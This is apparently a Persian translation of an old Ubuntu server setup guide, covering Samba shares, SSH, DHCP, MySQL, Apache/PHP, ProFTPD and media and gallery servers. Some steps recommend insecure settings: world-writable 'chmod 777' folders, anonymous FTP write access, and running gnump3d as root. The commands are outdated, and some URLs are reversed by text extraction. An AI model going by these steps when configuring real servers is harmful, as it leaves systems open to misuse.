کاربران (ه های خانگی و شخصی کاربران یک گروه را با مجوز فقط خواندن برای سایر کاربران به اشتراک بگذارم ؟ چگونه پوش
 )مجاز ميتوانند وارد شوند

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنم Sambaچگونه سرویس دهنده بخش  .٢

3. sudo mkdir /home/group 
sudo chmod 777 /home/group/ 
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

 . یر را پيدا کنيدخط فرمان ز .٤

... 
;   security = user 
... 

 این خط فرمان را به جای خط فرمان بالا بنویسيد  .٥

   security = user 
   username map = /etc/samba/smbusers 

 . این خط فرمانها را در انتهای فایل درج نمایيد .٦

[Group] 
   comment = Group Folder 
   path = /home/group 
   public = yes 
   writable = no 
   valid users = system_username1 system_username2 
   create mask = 0700 
   directory mask = 0700 
   force user = nobody 
   force group = nogroup 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٧
  . را مطالعه نمایيدکم و یا تغيير دهم /چگونه کاربران سيستم را اضافهبخش  .٨

9. sudo testparm 
sudo /etc/init.d/samba restart 

 و شخصی کاربران یک گروه را با مجوز خواندن و نوشتن برای سایر کاربران به اشتراک بگذارم ؟ چگونه پوشه های خانگی
 )کاربران مجاز ميتوانند وارد شوند(

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنم Sambaچگونه سرویس دهنده بخش  .٢

3. sudo mkdir /home/group 
sudo chmod 777 /home/group/ 
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

 . يدا کنيدخط فرمان زیر را پ .٤

... 
;   security = user 
... 

   این خط فرمان را به جای خط فرمان بالا بنویسيد .٥

   security = user 
   username map = /etc/samba/smbusers 
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 . این خط فرمانها را در انتهای فایل درج نمایيد .٦

[Group] 
   comment = Group Folder 
   path = /home/group 
   public = yes 
   writable = yes 
   valid users = system_username1 system_username2 
   create mask = 0700 
   directory mask = 0700 
   force user = nobody 
   force group = nogroup 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٧
  . را مطالعه نمایيدکم و یا تغيير دهم /چگونه کاربران سيستم را اضافهبخش  .٨

9. sudo testparm 
sudo /etc/init.d/samba restart 

 )کاربران مجاز ميتوانند وارد شوند( با مجوز فقط خواندن به اشتراک بگذارم ؟ چگونه پوشه های عمومی

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيدری پوشه ها و فایلها راه اندازی کنم  را برای به اشتراک گذاSambaچگونه سرویس دهنده بخش  .٢

3. sudo mkdir /home/public 
sudo chmod 777 /home/public/ 
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

 خط فرمان زیر را پيدا کنيد  .٤

... 
;   security = user 
... 

 رمان را به جای خط فرمان بالا بنویسيد این خط ف .٥

   security = user 
   username map = /etc/samba/smbusers 

 . این خط فرمانها را در انتهای فایل درج نمایيد .٦

[public] 
   comment = Public Folder 
   path = /home/public 
   public = yes 
   writable = no 
   create mask = 0777 
   directory mask = 0777 
   force user = nobody 
   force group = nogroup 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٧
  . را مطالعه نمایيدکم و یا تغيير دهم /چگونه کاربران سيستم را اضافهبخش  .٨

9. sudo testparm 
sudo /etc/init.d/samba restart 

 ) کاربران مجاز ميتوانند وارد شوند(چگونه پوشه های عمومی با مجوز خواندن و نوشتن به اشتراک بگذارم ؟ 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنم Sambaچگونه سرویس دهنده بخش  .٢

3. sudo mkdir /home/public 
sudo chmod 777 /home/public/ 
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

 این خط فرمان را پيدا کنيد  .٤
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... 
;   security = user 
... 

   این خط فرمان را به جای خط فرمان بالا بنویسيد .٥

   security = user 
   username map = /etc/samba/smbusers 

 . این خط فرمانها را در انتهای فایل درج نمایيد .٦

[public] 
   comment = Public Folder 
   path = /home/public 
   public = yes 
   writable = yes 
   create mask = 0777 
   directory mask = 0777 
   force user = nobody 
   force group = nogroup 

  )یک نمونه از فایل ویرایش شده. (ره نمایيدیل ویرایش شده را ذخيفا .٧
  .را مطالعه نمایيدکم و یا تغيير دهم /چگونه کاربران سيستم را اضافهبخش  .٨

9. sudo testparm 
sudo /etc/init.d/samba restart 

 )هر کاربری ميتواند وارد شود(چگونه پوشه های عمومی با مجوز فقط خواندن به اشتراک بگذارم ؟ 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنم Sambaچگونه سرویس دهنده بخش  .٢

3. sudo mkdir /home/public 
sudo chmod 777 /home/public/ 
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

 . فرمان زیر را پيدا کنيدخط  .٤

... 
;   security = user 
... 

 این خط فرمان را به جای خط فرمان بالا بنویسيد  .٥

   security = share 

 این خط فرمانها را در انتهای فایل درج نمایيد  .٦

[public] 
   comment = Public Folder 
   path = /home/public 
   public = yes 
   writable = no 
   create mask = 0777 
   directory mask = 0777 
   force user = nobody 
   force group = nogroup 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٧
8. sudo testparm 

sudo /etc/init.d/samba restart 

 )هر کاربری ميتواند وارد شود(چگونه پوشه های عمومی با مجوز خواندن و نوشتن به اشتراک بگذارم ؟ 
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  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنم Sambaچگونه سرویس دهنده بخش  .٢

3. sudo mkdir /home/public 
sudo chmod 777 /home/public/ 
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

  فرمان زیر را پيدا کنيد خط .٤

... 
;   security = user 
... 

 این خط فرمان را به جای خط فرمان بالا بنویسيد  .٥

   security = share 

   این خط فرمانها را در انتهای فایل درج نمایيد .٦

[public] 
   comment = Public Folder 
   path = /home/public 
   public = yes 
   writable = yes 
   create mask = 0777 
   directory mask = 0777 
   force user = nobody 
   force group = nogroup 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٧
8. sudo testparm 

sudo /etc/init.d/samba restart 
 

  

  SSHسرويس 

  

   را بر روی یک ماشين برای دسترسی از راه دور نصب کنم ؟SSHچگونه سرویس 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install ssh 

  کنم ؟SSH ميتوانم Ubuntuچگونه به یک ماشين راه دور 

  .را مطالعه نمایيد نکات عمومی .١
   نصب ميباشدUbuntu بر روی ماشين را دور SSHفرض ميکنيم سرویس  .٢

  را مطالعه نمایيد را بر روی یک ماشين برای دسترسی از راه دور نصب کنم SSHچگونه سرویس بخش 
  ١٩٢٫١٦٨٫٠٫١ ماشين راه دور IPآدرس  .٣

4. ssh username@192.168.0.1 

 )scp( از راه دور وصل شوم و فایلها یا پوشه هایی را از آن به ماشين محلی کپی کنم ؟ Ubuntuچگونه به یک ماشين 

  . را مطالعه نمایيدنکات عمومی .١
   ميباشد نصبUbuntu بر روی ماشين را دور SSHفرض ميکنيم سرویس  .٢

  را مطالعه نمایيد را بر روی یک ماشين برای دسترسی از راه دور نصب کنم SSHچگونه سرویس بخش 
  ١٩٢٫١٦٨٫٠٫١ ماشين راه دور IPآدرس  .٣
  .است/ home/username/remotefile.txt: مسير فایلها و پوشه های ماشين راه دور  .٤
  )پوشه جاری (محل ذخيره ماشين محلی .٥
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6. scp -r username@192.168.0.1:/home/username/remotefile.txt . 

 )scp( کپی کنم ؟ Ubuntuچگونه فایلها یا پوشه هایی را از یک ماشين محلی به یک ماشين راه دور 

  .ایيد را مطالعه نمنکات عمومی .١
   نصب ميباشدUbuntu بر روی ماشين را دور SSHفرض ميکنيم سرویس  .٢

  را مطالعه نمایيد را بر روی یک ماشين برای دسترسی از راه دور نصب کنم SSHچگونه سرویس بخش 
  localfile.txt: مسير فایلها و پوشه های محلی  .٣
  ١٩٢٫١٦٨٫٠٫١ ماشين راه دور IPآدرس  .٤
  /home/username: مسير ذخيره ماشين راه دور  .٥

6. scp -r localfile.txt username@192.168.0.1:/home/username/ 

 )rsync( از راه دور وصل شوم و فایلها یا پوشه هایی را از آن به ماشين محلی کپی کنم ؟ Ubuntuچگونه به یک ماشين 

  . را مطالعه نمایيدنکات عمومی .١
   نصب ميباشدUbuntu بر روی ماشين را دور SSHفرض ميکنيم سرویس  .٢

  را مطالعه نمایيد را بر روی یک ماشين برای دسترسی از راه دور نصب کنم SSHچگونه سرویس بخش 
  ١٩٢٫١٦٨٫٠٫١ور  ماشين راه دIPآدرس  .٣
  .است/ home/username/remotefile.txt: مسير فایلها و پوشه های ماشين راه دور  .٤
  )پوشه جاری(محل ذخيره ماشين محلی  .٥

6. rsync -v -u -a --delete --rsh=ssh --stats username@192.168.0.1:/home/username/remotefile.txt . 

 )rsync( کپی کنم ؟ Ubuntuن محلی به یک ماشين راه دور چگونه فایلها یا پوشه هایی را از یک ماشي

  . را مطالعه نمایيدنکات عمومی .١
   نصب ميباشدUbuntu بر روی ماشين را دور SSHفرض ميکنيم سرویس  .٢

  را مطالعه نمایيد را بر روی یک ماشين برای دسترسی از راه دور نصب کنم SSHیس چگونه سروبخش 
  localfile.txt: مسير فایلها و پوشه های محلی  .٣
  ١٩٢٫١٦٨٫٠٫١ ماشين راه دور IPآدرس  .٤
  /home/username: مسير ذخيره ماشين راه دور  .٥

6. rsync -v -u -a --delete --rsh=ssh --stats localfile.txt username@192.168.0.1:/home/username/ 

  کنم ؟SSH از راه دور Ubuntuچگونه از یک ماشين ویندوزی به یک ماشين 

  . را مطالعه نمایيدنکات عمومی .١
   نصب ميباشدUbuntu بر روی ماشين را دور SSHفرض ميکنيم سرویس  .٢

  را مطالعه نمایيد را بر روی یک ماشين برای دسترسی از راه دور نصب کنم SSHچگونه سرویس بخش 
  . دریافت نمایيداینجا را از PuTTYنرم افزار  .٣

   کپی کنم ؟Ubuntuها یا پوشه هایی را در یک ماشين راه دور چگونه از یک ماشين ویندوزی فایل

  . را مطالعه نمایيدنکات عمومی .١
   نصب ميباشدUbuntu بر روی ماشين را دور SSHفرض ميکنيم سرویس  .٢

  را مطالعه نمایيد را بر روی یک ماشين برای دسترسی از راه دور نصب کنم SSH سرویس چگونهبخش 
   دریافت نمایيداینجا را از WinSCPنرم افزار  .٣

  
  

  DHCPسرويس دهنده 

  

   به سایر سيستم های شبکه راه اندازی کنم ؟IP جهت اختصاص DHCPچگونه یک سرویس دهنده 

  . را مطالعه نمایيدنکات عمومی .١
  . نمایيد را مطالعهاضافه کردن مخازن تکميلیبخش  .٢
  . تنظيم شده استeth0فرض ميکنيم تنظيمات کارت شبکه بر روی  .٣

  . است١٩٢٫١٦٨٫٠٫٢٠٠ تا ١٩٢٫١٦٨٫٠٫١٠٠:  ما IPمحدوده آدرس 
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 ٤١١    صفحه

Subnet Mask: 255.255.255.0  
DNS Servers: 202.188.0.133, 202.188.1.5  

Domains: tm.net.my  
Gateway Address: 192.168.0.1  

4. sudo apt-get install dhcp3-server 
sudo cp /etc/default/dhcp3-server /etc/default/dhcp3-server_backup 
sudo gedit /etc/default/dhcp3-server 

 این خط فرمان را پيدا کنيد  .٥

... 
INTERFACES="" 

 این خط فرمان را به جای خط فرمان بالا بنویسيد  .٦

INTERFACES="eth0" 

  )یک نمونه از فایل ویرایش شده. (يدیل ویرایش شده را ذخيره نمایفا .٧
8. sudo cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf_backup 

sudo gedit /etc/dhcp3/dhcpd.conf 
 این خط فرمانها را پيدا کنيد  .٩

... 
# option definitions common to all supported networks... 
option domain-name "example.org"; 
option domain-name-servers ns1.example.org, ns2.example.org; 
 
default-lease-time 600; 
max-lease-time 7200; 
... 

 این خط فرمانها را به جای خط فرمانهای بالا بنویسيد  .١٠

# option definitions common to all supported networks... 
#option domain-name "example.org"; 
#option domain-name-servers ns1.example.org, ns2.example.org; 
 
#default-lease-time 600; 
#max-lease-time 7200; 

   این خط فرمانها را پيدا کنيد .١١

... 
# A slightly different configuration for an internal subnet. 
#subnet 10.5.5.0 netmask 255.255.255.224 { 
#  range 10.5.5.26 10.5.5.30; 
#  option domain-name-servers ns1.internal.example.org; 
#  option domain-name "internal.example.org"; 
#  option routers 10.5.5.1; 
#  option broadcast-address 10.5.5.31; 
#  default-lease-time 600; 
#  max-lease-time 7200; 
#} 
... 

   این خط فرمانها را به جای خط فرمانهای بالا بنویسيد .١٢

# A slightly different configuration for an internal subnet. 
subnet 192.168.0.0 netmask 255.255.255.0 { 
  range 192.168.0.100 192.168.0.200; 
  option domain-name-servers 202.188.0.133, 202.188.1.5; 
  option domain-name "tm.net.my"; 
  option routers 192.168.0.1; 
  option broadcast-address 192.168.0.255; 
  default-lease-time 600; 
  max-lease-time 7200; 
} 
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 ٤١٢    صفحه

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .١٣
14. sudo /etc/init.d/dhcp3-server restart 

 
  

  سرويس بانک اطلاعات

  

   را نصب کنم ؟MySQLچگونه سرویس دهنده بانک اطلاعات 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install mysql-server 
mysqladmin -u root password db_user_password 

  را نصب کنم ؟MySQL Control Centerچگونه 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  را مطالعه نمایيد را نصب کنم MySQLه سرویس دهنده بانک اطلاعات چگونبخش  .٣

4. sudo apt-get install mysqlcc 
sudo gedit /usr/share/applications/MySQLCC.desktop 

 خط فرمانهای زیر را در فایل جدید بنویسيد  .٥

[Desktop Entry] 
Name=MySQLCC 
Comment=MySQLCC 
Exec=mysqlcc 
Icon=/usr/share/pixmaps/mysqlcc.xpm 
Terminal=false 
Type=Application 
Categories=Application;System; 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٦
  .را مطالعه نمایيد کنم refresh را GNOME Panelچگونه بخش  .٧
٨. Applications - <System Tools - <MySQLCC  

  
  

  Apacheسرويس دهنده وب 

  

   را جهت ارایه سرویس وب نصب کنم ؟Apacheچگونه سرویس دهنده وب 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install apache2 
٤. localhost://http  

   را نصب کنم ؟PHP بسته Apacheه برای سرویس دهنده وب چگون
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 ٤١٣    صفحه

  . را مطالعه نمایيدنکات عمومی .١
  .ا مطالعه نمایيد راضافه کردن مخازن تکميلیبخش  .٢
  .را مطالعه نمایيد را جهت ارائه سرویس وب نصب کنم Apacheچگونه سرویس دهنده وب بخش  .٣

4. sudo apt-get install php4 
sudo gedit /var/www/testphp.php 

  .این خط فرمان را در فایل جدید بنویسيد .٥

<?php phpinfo(); ?> 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٦
٧. php.testphp/localhost://http  

   را نصب کنم ؟MySQLک اطلاعات  بانApacheچگونه برای سرویس دهنده وب 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  .را مطالعه نمایيد را جهت ارائه سرویس وب نصب کنم Apacheچگونه سرویس دهنده وب بخش  .٣
  .را مطالعه نمایيد را نصب کنم PHP بسته Apacheچگونه برای سرویس دهنده وب بخش  .٤
  . را مطالعه نمایيد را نصب کنم MySQLچگونه سرویس دهنده بانک اطلاعات بخش  .٥

6. sudo apt-get install libapache2-mod-auth-mysql 
sudo apt-get install php4-mysql 
sudo /etc/init.d/apache2 restart 

 مسير دهی کنم ؟/ var/www  ها را به پوشه های غير از مسيرURLچگونه 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد را جهت ارائه سرویس وب نصب کنم Apacheچگونه سرویس دهنده وب بخش  .٢

3. sudo gedit /etc/apache2/conf.d/alias 
 . خط فرمانهای زیر را در فایل جدید بنویسيد .٤

Alias /URL-path /location_of_folder/ 
 
<Directory /location_of_folder/> 
   Options Indexes FollowSymLinks 
   AllowOverride All 
   Order allow,deny 
   Allow from all 
</Directory> 

  )یک نمونه از فایل ویرایش شده. ( شده را ذخيره نمایيدیل ویرایشفا .٥
6. sudo /etc/init.d/apache2 restart 

٧. path-URL/localhost://http  

   را تغيير دهم ؟Apacheاصلی سرویس دهنده وب ) port(چگونه درگاه 

  . را مطالعه نمایيدنکات عمومی .١
  .لعه نمایيدرا مطا را جهت ارائه سرویس وب نصب کنم Apacheچگونه سرویس دهنده وب بخش  .٢
  . است٧٨فرض ميکنيم درگاه مورد نظر ما  .٣

4. sudo cp /etc/apache2/ports.conf /etc/apache2/ports.conf_backup 
sudo gedit /etc/apache2/ports.conf 

 . خط فرمان زیر را پيدا کنيد .٥

Listen 80 

 . این خط فرمان را به جای خط فرمان بالا بنویسيد .٦

Listen 78 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٤١٤    صفحه

  )یک نمونه از فایل ویرایش شده. (ه را ذخيره نمایيدیل ویرایش شدفا .٧
8. sudo /etc/init.d/apache2 restart 

٩. 78:localhost://http  

   راه اندازی کنم ؟Apacheهنده وب  را برای سرویس دPHP در RSSچگونه 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد را جهت ارائه سرویس وب نصب کنم Apacheچگونه سرویس دهنده وب بخش  .٢
  . را مطالعه نمایيد را نصب کنم PHP بسته Apacheچگونه برای سرویس دهنده وب بخش  .٣
  . استDistroWatch.com - News مربوط به RSSفرض ميکنيم  .٤

5. wget -c http://frankandjacq.com/ubuntuguide/magpierss-0.71.1.tar.gz 
6. sudo mkdir /var/www/feeds 
7. sudo tar zxvf magpierss-0.71.1.tar.gz -C /var/www/feeds/ 
8. sudo mv /var/www/feeds/magpierss-0.71.1/* /var/www/feeds/ 
9. sudo rm -fr /var/www/feeds/magpierss-0.71.1/ 
10. sudo chown -R www-data:root /var/www/feeds/ 
11. sudo gedit /var/www/feeds/index.php 

 . خط فرمانهای زیر را در فایل جدید بنویسيد .١٢

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
 
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> 
 
<head> 
 
<title>DistroWatch.com - News</title> 
 
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/> 
 
<style type="text/css"> 
/*<![CDATA[*/ 
/*  
DEFAULT TAG STYLES 
*/ 
 
body { 
  background: #ffffff; 
  margin-left: 20px; 
  font-family: bitstream vera sans,sans-serif; 
  font-size: 9pt; 
} 
 
h1 { 
  font-family: luxi sans,sans-serif; 
  font-size: 15pt; 
} 
 
/*]]>*/ 
</style> 
 
</head> 
 
<body> 
 
<?php 
 
require_once 'rss_fetch.inc'; 
error_reporting(E_ERROR); 
 
$url = 'http://distrowatch.com/news/dw.xml'; 
$rss = fetch_rss($url); 
 
if ($rss) { 
 
  echo "<h1>"; 
  echo "<a href=$url>", $rss->channel[title], "</a><br/>"; 
  echo "</h1>"; 
 
  foreach ($rss->items as $item ) { 
    $url = $item[link]; 
    $title = $item[title]; 
    $description = $item[description]; 
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    echo "<li>"; 
    echo "<b>Topic:</b> <a href=$url><b><u>$title</u></b></a><br/><br/>"; 
    echo "$description<br/><br/>"; 
    echo "</li>"; 
  } 
 
} 
else { 
  echo "<a href=$url>", $url, "</a> - Server Down!<br/>"; 
} 
 
?> 
 
</body> 
 
</html> 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .١٣
١٤. php.index/feeds/localhost://http  

  

  FTPسرويس دهنده 

  

   را نصب کنم ؟FTP راه اندازی سرویس انتقال فایل، سرویس دهنده چگونه جهت

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install proftpd 

  را محدود به استفاده از پوشه خانگی خودش کنم ؟FTPچگونه کاربر مجاز 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيد را نصب کنمFTPتقال فایل، سرویس دهنده چگونه جهت راه اندازی سرویس انبخش  .٢

3. sudo cp /etc/proftpd.conf /etc/proftpd.conf_backup 
sudo gedit /etc/proftpd.conf 

 . خط فرمان زیر را پيدا کنيد .٤

... 
DenyFilter                      \*.*/ 
... 

 . این خط فرمان زیر خط فرمان بالا اضافه نمایيد .٥

DefaultRoot                     ~ 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٦
7. sudo /etc/init.d/proftpd restart 

 مجوز فقط خواندن داشته باشد ؟) anonymous( که کاربر ميهمان  را بگونه ای پيکربندی کنمFTPچگونه سرویس 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيدرا نصب کنم FTPچگونه جهت راه اندازی سرویس انتقال فایل، سرویس دهنده بخش  .٢

3. sudo cp /etc/proftpd.conf /etc/proftpd.conf_backup 
sudo gedit /etc/proftpd.conf 

 . خط فرمانهای زیر را در انتهای فایل درج نمایيد .٤
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<Anonymous ~ftp> 
  User                        ftp 
  Group                       nogroup 
  UserAlias                   anonymous ftp 
  DirFakeUser on ftp 
  DirFakeGroup on ftp 
  RequireValidShell           off 
  MaxClients                  10 
  DisplayLogin                welcome.msg 
  DisplayFirstChdir           .message 
  <Directory *> 
    <Limit WRITE> 
      DenyAll 
    </Limit> 
  </Directory> 
</Anonymous> 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٥
6. sudo /etc/init.d/proftpd restart 

 جوز خواندن و نوشتن داشته باشد ؟ م) anonymous( را بگونه ای پيکربندی کنم که کاربر ميهمان FTPچگونه سرویس 

  . را مطالعه نمایيدنکات عمومی .١
  .یيد را مطالعه نما را نصب کنمFTPچگونه جهت راه اندازی سرویس انتقال فایل، سرویس دهنده بخش  .٢

3. sudo cp /etc/proftpd.conf /etc/proftpd.conf_backup 
sudo gedit /etc/proftpd.conf 

 . خط فرمانهای زیر را در انتهای فایل درج نمایيد .٤

<Anonymous ~ftp> 
  User                        ftp 
  Group                       nogroup 
  UserAlias                   anonymous ftp 
  DirFakeUser on ftp 
  DirFakeGroup on ftp 
  RequireValidShell           off 
  MaxClients                  10 
  DisplayLogin                welcome.msg 
  DisplayFirstChdir           .message 
</Anonymous> 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٥
6. sudo /etc/init.d/proftpd restart 

 هدایت کنم ؟/ home/ftp را، به پوشه ای غير از FTPچگونه کاربر ميهمان 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيد را نصب کنمFTPچگونه جهت راه اندازی سرویس انتقال فایل، سرویس دهنده بخش  .٢

3. sudo cp /etc/proftpd.conf /etc/proftpd.conf_backup 
sudo gedit /etc/proftpd.conf 

 . خط فرمانهای زیر را در انتهای فایل درج نمایيد .٤

<Anonymous /location_of_folder/> 
  User                        ftp 
  Group                       nogroup 
  UserAlias                   anonymous ftp 
  DirFakeUser on ftp 
  DirFakeGroup on ftp 
  RequireValidShell           off 
  MaxClients                  10 
  DisplayLogin                welcome.msg 
  DisplayFirstChdir           .message 
  <Directory *> 
    <Limit WRITE> 
      DenyAll 
    </Limit> 
  </Directory> 
</Anonymous> 
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  )یک نمونه از فایل ویرایش شده. (نمایيدیل ویرایش شده را ذخيره فا .٥
6. sudo /etc/init.d/proftpd restart 

  را تغيير دهم ؟FTPاوليه سرویس دهنده ) port(چگونه درگاه 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيد را نصب کنمFTPچگونه جهت راه اندازی سرویس انتقال فایل، سرویس دهنده بخش  .٢
  . است٧٧فرض ميکنيم درگاه جدید  .٣

4. sudo cp /etc/proftpd.conf /etc/proftpd.conf_backup 
sudo gedit /etc/proftpd.conf 

 . این خط فرمان را پيدا کنيد .٥

Port                            21 

 . این خط فرمان را به جای خط فرمان بالا بنویسيد .٦

Port                            77 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٧
8. sudo /etc/init.d/proftpd restart 

  کنم ؟FTP ميتوانم Ubuntuچگونه از یک ماشين ویندوزی به یک ماشين راه دور 

  . را مطالعه نمایيدمومینکات ع .١
  . نصب و پيکربندی شده استUbuntu بر روی ماشين راه دور FTPفرض ميکنيم سرویس دهنده  .٢

  . را مطالعه نمایيد را نصب کنمFTPچگونه جهت راه اندازی سرویس انتقال فایل، سرویس دهنده بخش 
  . دانلود نمایيداینجا را از FileZillaبرنامه  .٣

  
  

  Streaming Mediaسرويس دهنده 

  

   نصب کنم ؟Streaming Media را جهت را هندازی سرویس GNUMP3dچگونه بسته نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  .را مطالعه نمایيد جهت ارائه سرویس وب نصب کنم  راApacheچگونه سرویس دهنده وب بخش  .٣
  .قرار دارند/ var/musicفرض ميکنيم فایلهای چندرسانه ای در مسير  .٤

5. sudo apt-get install gnump3d 
٦. 8888:localhost://http  

   ميباشد را تغيير دهم ؟GNUMP3dچگونه پوشه اصلی که حاوی فایلهای چندرسانه ای برای 

  . را مطالعه نمایيدنکات عمومی .١
  .ایيدرا مطالعه نم راه اندازی کنم Streaming Media را جهت ارائه سرویس d3GNUMPچگونه بسته نرم افزاری بخش  .٢
  .قرار دارند/ var/musicفرض ميکنيم فایلهای چندرسانه ای در مسير  .٣

4. sudo cp /etc/gnump3d/gnump3d.conf /etc/gnump3d/gnump3d.conf_backup 
sudo gedit /etc/gnump3d/gnump3d.conf 

 این خط فرمان را پيدا کنيد  .٥

root = /var/music 
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 . ج نمایيداین خط فرمان را به جای خط فرمان بالا در .٦

root = /home/music 

   این خط فرمان را پيدا کنيد .٧

user = gnump3d 

 . این خط فرمان را به جای خط فرمان بالا درج نمایيد .٨

user = root 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٩
10. sudo /etc/init.d/gnump3d restart 

١١. 8888:localhost://http  

   را تغيير دهم ؟GNUMP3dاوليه ) port(چگونه درگاه 

  . را مطالعه نمایيدعمومینکات  .١
  .را مطالعه نمایيد راه اندازی کنم Streaming Media را جهت ارائه سرویس d3GNUMPچگونه بسته نرم افزاری بخش  .٢
  . ميباشد٧٩٧٩فرض ميکنيم درگاه مرد نظر ما  .٣

4. sudo cp /etc/gnump3d/gnump3d.conf /etc/gnump3d/gnump3d.conf_backup 
sudo gedit /etc/gnump3d/gnump3d.conf 

 این خط فرمان را پيدا کنيد  .٥

port = 8888 

 . این خط فرمان را به جای خط فرمان بالا درج نمایيد .٦

port = 7979 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٧
8. sudo /etc/init.d/gnump3d restart 

٩. 7979:localhost://http  

  

  سرويس دهنده گالری عکس

  

  برای راه اندازی سرویس عکس را نصب کنم ؟ galleryچگونه بسته نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  .را مطالعه نمایيده سرویس وب نصب کنم  را جهت ارائApacheچگونه سرویس دهنده وب بخش  .٣
  . را مطالعه نمایيد را نصب کنمPHP بسته Apacheچگونه برای سرویس دهنده وب بخش  .٤

5. sudo apt-get install gallery (when prompted to restart Apache, choose No or Cancel) 
sudo apt-get install imagemagick 
sudo apt-get install jhead 
sudo apt-get install libjpeg-progs 
sudo /etc/init.d/apache2 restart 
sudo sh /usr/share/gallery/configure.sh 

٦. php.index/setup/gallery/localhost://http  
   Galleryپيکربندی  .٧
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8. Gallery Configuration Wizard: Step 1 
Next Step -> 

9.  
10. Gallery Configuration Wizard: Step 2 
11. General settings Tab -> 
12. Admin password: Specify the password 
13.  
14. Locations and URLs Tab -> 
15. Album directory: /var/www/albums/ 
16. Temporary directory: /tmp/ 
17. Gallery URL: http://localhost/gallery 
18. Albums URL: http://localhost/albums 
19. Next Step --> 
20.  
21. Gallery Configuration Wizard: Step 3 
22. Next Step --> 
23.  
24. Gallery Configuration Wizard: Step 4 

Save Config -> 

٢٥. php.albums/rygalle/localhost://http  

  ثابت قابل دیدن باشد ؟ IPچگونه این سرویس را پيکربندی کنم تا از طریق اینترنت یا شبکه محلی با آدرس 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيدبرای راه اندازی سرویس گالری عکس را نصب کنم  galleryنه بسته نرم افزاری چگوبخش  .٢
  فرض ميکنيم اتصالات شبکه و اینترنت بخوبی برقرار است .٣
  http://www.url.com: ثابت شبکه محلی  IPآدرس اینترنتی یا  .٤

5. sudo cp /etc/gallery/config.php /etc/gallery/config.php_backup 
sudo gedit /etc/gallery/config.php 

  .خط فرمانهای زیر را پيدا کنيد .٦

... 
$gallery->app->photoAlbumURL = "http://localhost/gallery"; 
